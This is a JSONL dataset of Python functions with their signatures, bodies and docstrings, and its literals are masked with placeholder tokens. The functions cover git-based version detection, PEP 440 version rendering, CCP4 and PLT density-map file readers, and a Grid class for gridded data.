{"signature": "def versions_from_parentdir(parentdir_prefix, root, verbose):", "body": "rootdirs = []<EOL>for i in range(<NUM_LIT:3>):<EOL><INDENT>dirname = os.path.basename(root)<EOL>if dirname.startswith(parentdir_prefix):<EOL><INDENT>return {\"<STR_LIT:version>\": dirname[len(parentdir_prefix):],<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None, \"<STR_LIT:date>\": None}<EOL><DEDENT>else:<EOL><INDENT>rootdirs.append(root)<EOL>root = os.path.dirname(root)  <EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(str(rootdirs), parentdir_prefix))<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL>", "docstring": "Try to determine the version from the parent directory name.\n\n    Source tarballs conventionally unpack into a directory that includes both\n    the project name and a version string. We will also support searching up\n    two directory levels for an appropriately named parent directory", "id": "f15451:m4"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_get_keywords(versionfile_abs):", "body": "<EOL>keywords = {}<EOL>try:<EOL><INDENT>f = open(versionfile_abs, \"<STR_LIT:r>\")<EOL>for line in f.readlines():<EOL><INDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>if line.strip().startswith(\"<STR_LIT>\"):<EOL><INDENT>mo = re.search(r'<STR_LIT>', line)<EOL>if mo:<EOL><INDENT>keywords[\"<STR_LIT:date>\"] = mo.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>f.close()<EOL><DEDENT>except EnvironmentError:<EOL><INDENT>pass<EOL><DEDENT>return keywords<EOL>", "docstring": "Extract version information from the given file.", "id": "f15451:m5"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_versions_from_keywords(keywords, tag_prefix, verbose):", "body": "if not keywords:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>date = keywords.get(\"<STR_LIT:date>\")<EOL>if date is not None:<EOL><INDENT>date = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL><DEDENT>refnames = keywords[\"<STR_LIT>\"].strip()<EOL>if refnames.startswith(\"<STR_LIT>\"):<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>refs = set([r.strip() for r in refnames.strip(\"<STR_LIT>\").split(\"<STR_LIT:U+002C>\")])<EOL>TAG = \"<STR_LIT>\"<EOL>tags = set([r[len(TAG):] for r in refs if r.startswith(TAG)])<EOL>if not tags:<EOL><INDENT>tags = set([r for r in refs if re.search(r'<STR_LIT>', r)])<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(refs - tags))<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % \"<STR_LIT:U+002C>\".join(sorted(tags)))<EOL><DEDENT>for ref in sorted(tags):<EOL><INDENT>if ref.startswith(tag_prefix):<EOL><INDENT>r = ref[len(tag_prefix):]<EOL>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % r)<EOL><DEDENT>return {\"<STR_LIT:version>\": r,<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": date}<EOL><DEDENT><DEDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\")<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": keywords[\"<STR_LIT>\"].strip(),<EOL>\"<STR_LIT>\": False, \"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information from git keywords.", "id": "f15451:m6"}
{"signature": "@register_vcs_handler(\"<STR_LIT>\", \"<STR_LIT>\")<EOL>def git_pieces_from_vcs(tag_prefix, root, verbose, run_command=run_command):", "body": "GITS = [\"<STR_LIT>\"]<EOL>if sys.platform == \"<STR_LIT:win32>\":<EOL><INDENT>GITS = [\"<STR_LIT>\", \"<STR_LIT>\"]<EOL><DEDENT>out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root,<EOL>hide_stderr=True)<EOL>if rc != <NUM_LIT:0>:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % root)<EOL><DEDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\" % tag_prefix],<EOL>cwd=root)<EOL>if describe_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>describe_out = describe_out.strip()<EOL>full_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\"], cwd=root)<EOL>if full_out is None:<EOL><INDENT>raise NotThisMethod(\"<STR_LIT>\")<EOL><DEDENT>full_out = full_out.strip()<EOL>pieces = {}<EOL>pieces[\"<STR_LIT>\"] = full_out<EOL>pieces[\"<STR_LIT>\"] = full_out[:<NUM_LIT:7>]  <EOL>pieces[\"<STR_LIT:error>\"] = None<EOL>git_describe = describe_out<EOL>dirty = git_describe.endswith(\"<STR_LIT>\")<EOL>pieces[\"<STR_LIT>\"] = dirty<EOL>if dirty:<EOL><INDENT>git_describe = git_describe[:git_describe.rindex(\"<STR_LIT>\")]<EOL><DEDENT>if \"<STR_LIT:->\" in git_describe:<EOL><INDENT>mo = re.search(r'<STR_LIT>', git_describe)<EOL>if not mo:<EOL><INDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% describe_out)<EOL>return pieces<EOL><DEDENT>full_tag = mo.group(<NUM_LIT:1>)<EOL>if not full_tag.startswith(tag_prefix):<EOL><INDENT>if verbose:<EOL><INDENT>fmt = \"<STR_LIT>\"<EOL>print(fmt % (full_tag, tag_prefix))<EOL><DEDENT>pieces[\"<STR_LIT:error>\"] = (\"<STR_LIT>\"<EOL>% (full_tag, tag_prefix))<EOL>return pieces<EOL><DEDENT>pieces[\"<STR_LIT>\"] = full_tag[len(tag_prefix):]<EOL>pieces[\"<STR_LIT>\"] = int(mo.group(<NUM_LIT:2>))<EOL>pieces[\"<STR_LIT>\"] = mo.group(<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>pieces[\"<STR_LIT>\"] = None<EOL>count_out, rc = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)<EOL>pieces[\"<STR_LIT>\"] = int(count_out)  <EOL><DEDENT>date = run_command(GITS, [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>cwd=root)[<NUM_LIT:0>].strip()<EOL>pieces[\"<STR_LIT:date>\"] = date.strip().replace(\"<STR_LIT:U+0020>\", \"<STR_LIT:T>\", <NUM_LIT:1>).replace(\"<STR_LIT:U+0020>\", \"<STR_LIT>\", <NUM_LIT:1>)<EOL>return pieces<EOL>", "docstring": "Get version from 'git describe' in the root of the source tree.\n\n    This only gets called if the git-archive 'subst' keywords were *not*\n    expanded, and _version.py hasn't already been rewritten with a short\n    version string, meaning we're inside a checked out source tree.", "id": "f15451:m7"}
{"signature": "def plus_or_dot(pieces):", "body": "if \"<STR_LIT:+>\" in pieces.get(\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>return \"<STR_LIT:.>\"<EOL><DEDENT>return \"<STR_LIT:+>\"<EOL>", "docstring": "Return a + if we don't already have one, else return a .", "id": "f15451:m8"}
{"signature": "def render_pep440(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"],<EOL>pieces[\"<STR_LIT>\"])<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "Build up version string, with post-release \"local version identifier\".\n\n    Our goal: TAG[+DISTANCE.gHEX[.dirty]] . Note that if you\n    get a tagged build and then dirty it, you'll get TAG+0.gHEX.dirty\n\n    Exceptions:\n    1: no tags. git_describe was just HEX. 0+untagged.DISTANCE.gHEX[.dirty]", "id": "f15451:m9"}
{"signature": "def render_pep440_pre(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.post.devDISTANCE] -- No -dirty.\n\n    Exceptions:\n    1: no tags. 0.post.devDISTANCE", "id": "f15451:m10"}
{"signature": "def render_pep440_post(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += plus_or_dot(pieces)<EOL>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]+gHEX] .\n\n    The \".dev0\" means dirty. Note that .dev0 sorts backwards\n    (a dirty tree will appear \"older\" than the corresponding clean one),\n    but you shouldn't be releasing software with -dirty anyways.\n\n    Exceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f15451:m11"}
{"signature": "def render_pep440_old(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"] or pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>rendered = \"<STR_LIT>\" % pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>return rendered<EOL>", "docstring": "TAG[.postDISTANCE[.dev0]] .\n\n    The \".dev0\" means dirty.\n\n    Eexceptions:\n    1: no tags. 0.postDISTANCE[.dev0]", "id": "f15451:m12"}
{"signature": "def render_git_describe(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG[-DISTANCE-gHEX][-dirty].\n\n    Like 'git describe --tags --dirty --always'.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f15451:m13"}
{"signature": "def render_git_describe_long(pieces):", "body": "if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL>rendered += \"<STR_LIT>\" % (pieces[\"<STR_LIT>\"], pieces[\"<STR_LIT>\"])<EOL><DEDENT>else:<EOL><INDENT>rendered = pieces[\"<STR_LIT>\"]<EOL><DEDENT>if pieces[\"<STR_LIT>\"]:<EOL><INDENT>rendered += \"<STR_LIT>\"<EOL><DEDENT>return rendered<EOL>", "docstring": "TAG-DISTANCE-gHEX[-dirty].\n\n    Like 'git describe --tags --dirty --always -long'.\n    The distance/hash is unconditional.\n\n    Exceptions:\n    1: no tags. HEX[-dirty]  (note: no 'g' prefix)", "id": "f15451:m14"}
{"signature": "def render(pieces, style):", "body": "if pieces[\"<STR_LIT:error>\"]:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\",<EOL>\"<STR_LIT>\": pieces.get(\"<STR_LIT>\"),<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": pieces[\"<STR_LIT:error>\"],<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>if not style or style == \"<STR_LIT:default>\":<EOL><INDENT>style = \"<STR_LIT>\"  <EOL><DEDENT>if style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_pre(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_post(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_pep440_old(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe(pieces)<EOL><DEDENT>elif style == \"<STR_LIT>\":<EOL><INDENT>rendered = render_git_describe_long(pieces)<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % style)<EOL><DEDENT>return {\"<STR_LIT:version>\": rendered, \"<STR_LIT>\": pieces[\"<STR_LIT>\"],<EOL>\"<STR_LIT>\": pieces[\"<STR_LIT>\"], \"<STR_LIT:error>\": None,<EOL>\"<STR_LIT:date>\": pieces.get(\"<STR_LIT:date>\")}<EOL>", "docstring": "Render the given version pieces into the requested style.", "id": "f15451:m15"}
{"signature": "def get_versions():", "body": "<EOL>cfg = get_config()<EOL>verbose = cfg.verbose<EOL>try:<EOL><INDENT>return git_versions_from_keywords(get_keywords(), cfg.tag_prefix,<EOL>verbose)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>root = os.path.realpath(__file__)<EOL>for i in cfg.versionfile_source.split('<STR_LIT:/>'):<EOL><INDENT>root = os.path.dirname(root)<EOL><DEDENT><DEDENT>except NameError:<EOL><INDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\",<EOL>\"<STR_LIT:date>\": None}<EOL><DEDENT>try:<EOL><INDENT>pieces = git_pieces_from_vcs(cfg.tag_prefix, root, verbose)<EOL>return render(pieces, cfg.style)<EOL><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>if cfg.parentdir_prefix:<EOL><INDENT>return versions_from_parentdir(cfg.parentdir_prefix, root, verbose)<EOL><DEDENT><DEDENT>except NotThisMethod:<EOL><INDENT>pass<EOL><DEDENT>return {\"<STR_LIT:version>\": \"<STR_LIT>\", \"<STR_LIT>\": None,<EOL>\"<STR_LIT>\": None,<EOL>\"<STR_LIT:error>\": \"<STR_LIT>\", \"<STR_LIT:date>\": None}<EOL>", "docstring": "Get version information or return default if unable to do so.", "id": "f15451:m16"}
{"signature": "def read(self, filename):", "body": "if filename is not None:<EOL><INDENT>self.filename = filename<EOL><DEDENT>with open(self.filename, '<STR_LIT:rb>') as ccp4:<EOL><INDENT>h = self.header = self._read_header(ccp4)<EOL>nentries = h['<STR_LIT>'] * h['<STR_LIT>'] * h['<STR_LIT>']<EOL>datafmt = h['<STR_LIT>'] + str(nentries) + self._data_bintype<EOL>a = np.array(struct.unpack(datafmt, ccp4.read(struct.calcsize(datafmt))))<EOL><DEDENT>self.header['<STR_LIT:filename>'] = self.filename<EOL>order = '<STR_LIT:C>' if h['<STR_LIT>'] == '<STR_LIT:z>' else '<STR_LIT:F>'<EOL>self.array = a.reshape(h['<STR_LIT>'], h['<STR_LIT>'], h['<STR_LIT>'], order=order)<EOL>self.delta = self._delta()<EOL>self.origin = np.zeros(<NUM_LIT:3>)<EOL>self.rank = <NUM_LIT:3><EOL>", "docstring": "Populate the instance from the ccp4 file *filename*.", "id": "f15452:c0:m1"}
{"signature": "@property<EOL><INDENT>def edges(self):<DEDENT>", "body": "<EOL>return [self.delta[d, d] * np.arange(self.shape[d] + <NUM_LIT:1>) +<EOL>self.origin[d] - <NUM_LIT:0.5> * self.delta[d, d]<EOL>for d in range(self.rank)]<EOL>", "docstring": "Edges of the grid cells, origin at centre of 0,0,..,0 grid cell.\n\n        Only works for regular, orthonormal grids.", "id": "f15452:c0:m3"}
{"signature": "@staticmethod<EOL><INDENT>def _detect_byteorder(ccp4file):<DEDENT>", "body": "bsaflag = None<EOL>ccp4file.seek(<NUM_LIT> * <NUM_LIT:4>)<EOL>mapbin = ccp4file.read(<NUM_LIT:4>)<EOL>for flag in '<STR_LIT>':<EOL><INDENT>mapstr = struct.unpack(flag + '<STR_LIT>', mapbin)[<NUM_LIT:0>].decode('<STR_LIT:utf-8>')<EOL>if mapstr.upper() == '<STR_LIT>':<EOL><INDENT>bsaflag = flag<EOL>break  <EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>ccp4file.seek(<NUM_LIT:0>)<EOL>return bsaflag<EOL>", "docstring": "Detect the byteorder of stream `ccp4file` and return format character.\n\n        Try all endinaness and alignment options until we find\n        something that looks sensible (\"MAPS \" in the first 4 bytes).\n\n        (The ``machst`` field could be used to obtain endianness, but\n        it does not specify alignment.)\n\n        .. SeeAlso::\n\n          :mod:`struct`", "id": "f15452:c0:m5"}
{"signature": "def _read_header(self, ccp4file):", "body": "bsaflag = self._detect_byteorder(ccp4file)<EOL>nheader = struct.calcsize(self._headerfmt)<EOL>names = [r.key for r in self._header_struct]<EOL>bintopheader = ccp4file.read(<NUM_LIT> * <NUM_LIT:4>)<EOL>def decode_header(header, bsaflag='<STR_LIT:@>'):<EOL><INDENT>h = dict(zip(names, struct.unpack(bsaflag + self._headerfmt,<EOL>header)))<EOL>h['<STR_LIT>'] = bsaflag<EOL>return h<EOL><DEDENT>header = decode_header(bintopheader, bsaflag)<EOL>for rec in self._header_struct:<EOL><INDENT>if not rec.is_legal_dict(header):<EOL><INDENT>warnings.warn(<EOL>\"<STR_LIT>\" % (rec.key, header[rec.key]))<EOL><DEDENT><DEDENT>if (header['<STR_LIT>']):<EOL><INDENT>skewmatrix = np.fromfile(ccp4file, dtype=np.float32, count=<NUM_LIT:9>)<EOL>header['<STR_LIT>'] = skewmatrix.reshape((<NUM_LIT:3>, <NUM_LIT:3>))<EOL>header['<STR_LIT>'] = np.fromfile(ccp4file, dtype=np.float32, count=<NUM_LIT:3>)<EOL><DEDENT>else:<EOL><INDENT>header['<STR_LIT>'] = header['<STR_LIT>'] = None<EOL>ccp4file.seek(<NUM_LIT:12> * <NUM_LIT:4>, <NUM_LIT:1>)<EOL><DEDENT>ccp4file.seek(<NUM_LIT:15> * <NUM_LIT:4>, <NUM_LIT:1>)  <EOL>ccp4file.seek(<NUM_LIT:4>, <NUM_LIT:1>)  <EOL>endiancode = struct.unpack(bsaflag + '<STR_LIT>', ccp4file.read(<NUM_LIT:4>))<EOL>header['<STR_LIT>'] = '<STR_LIT>' if endiancode == (<NUM_LIT>, <NUM_LIT>, <NUM_LIT:0>, <NUM_LIT:0><EOL>) else '<STR_LIT>'<EOL>header['<STR_LIT>'] = struct.unpack(bsaflag + '<STR_LIT:f>', ccp4file.read(<NUM_LIT:4>))[<NUM_LIT:0>]<EOL>header['<STR_LIT>'] = struct.unpack(bsaflag + '<STR_LIT:I>', ccp4file.read(<NUM_LIT:4>))[<NUM_LIT:0>]<EOL>if header['<STR_LIT>']:<EOL><INDENT>binlabel = ccp4file.read(<NUM_LIT> * header['<STR_LIT>'])<EOL>flag = bsaflag + str(<NUM_LIT> * header['<STR_LIT>']) + '<STR_LIT:s>'<EOL>label = struct.unpack(flag, binlabel)[<NUM_LIT:0>]<EOL>header['<STR_LIT:label>'] = label.decode('<STR_LIT:utf-8>').rstrip('<STR_LIT:\\x00>')<EOL><DEDENT>else:<EOL><INDENT>header['<STR_LIT:label>'] = None<EOL><DEDENT>ccp4file.seek(<NUM_LIT> * <NUM_LIT:4>)<EOL>return header<EOL>", "docstring": "Read header bytes", "id": "f15452:c0:m6"}
{"signature": "def histogramdd(self):", "body": "return (self.array, self.edges)<EOL>", "docstring": "Return array data as (edges,grid), i.e. a numpy nD histogram.", "id": "f15452:c0:m7"}
{"signature": "def read(self, filename):", "body": "from struct import calcsize, unpack<EOL>if not filename is None:<EOL><INDENT>self.filename = filename<EOL><DEDENT>with open(self.filename, '<STR_LIT:rb>') as plt:<EOL><INDENT>h = self.header = self._read_header(plt)<EOL>nentries = h['<STR_LIT>'] * h['<STR_LIT>'] * h['<STR_LIT>']<EOL>datafmt = h['<STR_LIT>']+str(nentries)+self._data_bintype<EOL>a = numpy.array(unpack(datafmt, plt.read(calcsize(datafmt))))<EOL><DEDENT>self.header['<STR_LIT:filename>'] = self.filename<EOL>self.array = a.reshape(h['<STR_LIT>'], h['<STR_LIT>'], h['<STR_LIT>']).transpose()  <EOL>self.delta = self._delta()<EOL>self.origin = numpy.array([h['<STR_LIT>'], h['<STR_LIT>'], h['<STR_LIT>']]) + <NUM_LIT:0.5>*numpy.diagonal(self.delta)<EOL>self.rank = h['<STR_LIT>']<EOL>", "docstring": "Populate the instance from the plt file *filename*.", "id": "f15453:c1:m1"}
{"signature": "@property<EOL><INDENT>def edges(self):<DEDENT>", "body": "return [self.delta[d,d] * numpy.arange(self.shape[d]+<NUM_LIT:1>) + self.origin[d]- <NUM_LIT:0.5>*self.delta[d,d]     for d in range(self.rank)]<EOL>", "docstring": "Edges of the grid cells, origin at centre of 0,0,..,0 grid cell.\n\n        Only works for regular, orthonormal grids.", "id": "f15453:c1:m3"}
{"signature": "def _read_header(self, pltfile):", "body": "nheader = struct.calcsize(self._headerfmt)<EOL>names = [r.key for r in self._header_struct]<EOL>binheader = pltfile.read(nheader)<EOL>def decode_header(bsaflag='<STR_LIT:@>'):<EOL><INDENT>h = dict(zip(names, struct.unpack(bsaflag+self._headerfmt, binheader)))<EOL>h['<STR_LIT>'] = bsaflag<EOL>return h<EOL><DEDENT>for flag in '<STR_LIT>':<EOL><INDENT>header = decode_header(flag)<EOL>if header['<STR_LIT>'] == <NUM_LIT:3>:<EOL><INDENT>break   <EOL><DEDENT>header = None<EOL><DEDENT>if header is None:<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>for rec in self._header_struct:<EOL><INDENT>if not rec.is_legal_dict(header):<EOL><INDENT>warnings.warn(\"<STR_LIT>\" % (rec.key, header[rec.key]))<EOL><DEDENT><DEDENT>return header<EOL>", "docstring": "Read header bytes, try all possibilities for byte order/size/alignment.", "id": "f15453:c1:m5"}
{"signature": "def histogramdd(self):", "body": "return (self.array, self.edges)<EOL>", "docstring": "Return array data as (edges,grid), i.e. a numpy nD histogram.", "id": "f15453:c1:m6"}
{"signature": "def _grid(x):", "body": "try:<EOL><INDENT>return x.grid<EOL><DEDENT>except AttributeError:<EOL><INDENT>return x<EOL><DEDENT>", "docstring": "Access the underlying ndarray of a Grid object or return the object itself", "id": "f15455:m0"}
{"signature": "def ndmeshgrid(*arrs):", "body": "<EOL>arrs = tuple(arrs)<EOL>lens = list(map(len, arrs))<EOL>dim = len(arrs)<EOL>sz = <NUM_LIT:1><EOL>for s in lens:<EOL><INDENT>sz *= s<EOL><DEDENT>ans = []<EOL>for i, arr in enumerate(arrs):<EOL><INDENT>slc = [<NUM_LIT:1>] * dim<EOL>slc[i] = lens[i]<EOL>arr2 = numpy.asanyarray(arr).reshape(slc)<EOL>for j, sz in enumerate(lens):<EOL><INDENT>if j != i:<EOL><INDENT>arr2 = arr2.repeat(sz, axis=j)<EOL><DEDENT><DEDENT>ans.append(arr2)<EOL><DEDENT>return tuple(ans)<EOL>", "docstring": "Return a mesh grid for N dimensions.\n\n    The input are N arrays, each of which contains the values along one axis of\n    the coordinate system. The arrays do not have to have the same number of\n    entries. The function returns arrays that can be fed into numpy functions\n    so that they produce values for *all* points spanned by the axes *arrs*.\n\n    Original from\n    http://stackoverflow.com/questions/1827489/numpy-meshgrid-in-3d and fixed.\n\n    .. SeeAlso: :func:`numpy.meshgrid` for the 2D case.", "id": "f15455:m1"}
{"signature": "def __init__(self, grid=None, edges=None, origin=None, delta=None,<EOL>metadata={}, interpolation_spline_order=<NUM_LIT:3>):", "body": "<EOL>self._exporters = {<EOL>'<STR_LIT>': self._export_dx,<EOL>'<STR_LIT>': self._export_python,<EOL>'<STR_LIT>': self._export_python,  <EOL>'<STR_LIT>': self._export_python,  <EOL>}<EOL>self._loaders = {<EOL>'<STR_LIT>': self._load_cpp4,<EOL>'<STR_LIT>': self._load_dx,<EOL>'<STR_LIT>': self._load_plt,<EOL>'<STR_LIT>': self._export_python,<EOL>'<STR_LIT>': self._load_python,  <EOL>'<STR_LIT>': self._load_python,  <EOL>}<EOL>self.metadata = metadata<EOL>self.__interpolated = None  <EOL>self.__interpolation_spline_order = interpolation_spline_order<EOL>self.interpolation_cval = None  <EOL>if type(grid) is str:<EOL><INDENT>self.load(grid)<EOL><DEDENT>elif not (grid is None or edges is None):<EOL><INDENT>self.grid = numpy.asanyarray(grid)<EOL>self.edges = edges<EOL>self._update()<EOL><DEDENT>elif not (grid is None or origin is None or delta is None):<EOL><INDENT>origin = numpy.asanyarray(origin)<EOL>delta = numpy.asanyarray(delta)<EOL>if len(origin) != grid.ndim:<EOL><INDENT>raise TypeError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>if delta.shape == () and numpy.isreal(delta):<EOL><INDENT>delta = numpy.ones(grid.ndim) * delta<EOL><DEDENT>elif delta.ndim > <NUM_LIT:1>:<EOL><INDENT>raise NotImplementedError(<EOL>\"<STR_LIT>\")<EOL><DEDENT>elif len(delta) != grid.ndim:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.edges = [origin[dim] +<EOL>(numpy.arange(m + <NUM_LIT:1>) - <NUM_LIT:0.5>) * delta[dim]<EOL>for dim, m in enumerate(grid.shape)]<EOL>self.grid = numpy.asanyarray(grid)<EOL>self._update()<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Create a Grid object from data.\n\nFrom a numpy.histogramdd()::\n\n  grid,edges = numpy.histogramdd(...)\n  g = Grid(grid,edges=edges)\n\nFrom an arbitrary grid::\n\n  g = Grid(grid,origin=origin,delta=delta)\n\nFrom a saved file::\n\n  g = Grid(filename)\n\nor ::\n\n  g = Grid()\n  g.load(filename)\n\n:Arguments:\n  grid\n    histogram or density, defined on numpy nD array\n  edges\n    list of arrays, the lower and upper bin edges along the axes\n    (both are output by numpy.histogramdd())\n  origin\n    cartesian coordinates of the center of grid[0,0,...,0]\n  delta\n    Either n x n array containing the cell lengths in each dimension,\n    or n x 1 array for rectangular arrays.\n  metadata\n    a user defined dictionary of arbitrary values\n    associated with the density; the class does not touch\n    metadata[] but stores it with save()\n  interpolation_spline_order\n    order of interpolation function for resampling; cubic splines = 3 [3]", "id": "f15455:c0:m0"}
{"signature": "@property<EOL><INDENT>def interpolation_spline_order(self):<DEDENT>", "body": "return self.__interpolation_spline_order<EOL>", "docstring": "Order of the B-spline interpolation of the data.\n\n        3 = cubic; 4 & 5 are also supported\n\n        Only choose values that are acceptable to\n        :func:`scipy.ndimage.spline_filter`!\n\n        See Also\n        --------\n        interpolated", "id": "f15455:c0:m1"}
{"signature": "@interpolation_spline_order.setter<EOL><INDENT>def interpolation_spline_order(self, x):<DEDENT>", "body": "self.__interpolation_spline_order = x<EOL>self._update()<EOL>", "docstring": "Setting the ``interpolation_spline_order`` updates :func:`interpolated`\n\n        Because we cache the interpolation function, we need to rebuild the\n        cache whenever the interpolation order changes: this is\n        handled by :meth:`_update`", "id": "f15455:c0:m2"}
